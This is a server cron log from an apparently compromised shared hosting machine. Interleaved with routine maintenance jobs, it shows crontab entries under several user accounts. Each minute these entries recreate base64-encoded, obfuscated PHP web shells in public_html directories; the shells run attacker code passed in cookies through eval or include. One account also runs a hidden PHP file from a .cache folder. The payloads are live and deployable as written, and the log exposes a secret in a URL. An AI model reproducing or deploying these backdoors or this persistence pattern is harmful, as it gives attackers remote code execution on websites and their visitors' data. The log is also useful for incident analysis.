Mar  2 06:52:02 medusa CROND[4398]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:52:02 medusa CROND[4400]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:52:02 medusa CROND[4405]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:52:02 medusa CROND[4403]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:52:02 medusa CROND[4394]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:53:01 medusa CROND[19018]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:53:01 medusa CROND[19179]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:53:01 medusa CROND[19176]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:53:01 medusa CROND[19181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:53:01 medusa CROND[19186]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:53:01 medusa CROND[19189]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:53:01 medusa CROND[19192]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:53:01 medusa CROND[19193]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:53:01 medusa CROND[19195]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:53:01 medusa CROND[19198]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:53:01 medusa CROND[19194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:53:01 medusa CROND[19214]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:54:01 medusa CROND[2671]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:54:01 medusa CROND[2673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:54:01 medusa CROND[2675]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:54:01 medusa CROND[2677]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:54:01 medusa CROND[2676]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:54:01 medusa CROND[2685]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:54:01 medusa CROND[2687]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:54:01 medusa CROND[2678]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 06:54:01 medusa CROND[2689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:54:01 medusa CROND[2697]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:54:01 medusa CROND[2696]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:54:01 medusa CROND[2695]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:54:01 medusa CROND[2683]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:55:01 medusa CROND[20004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:55:01 medusa CROND[20028]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:55:01 medusa CROND[20232]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:55:01 medusa CROND[20233]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:55:01 medusa CROND[20234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
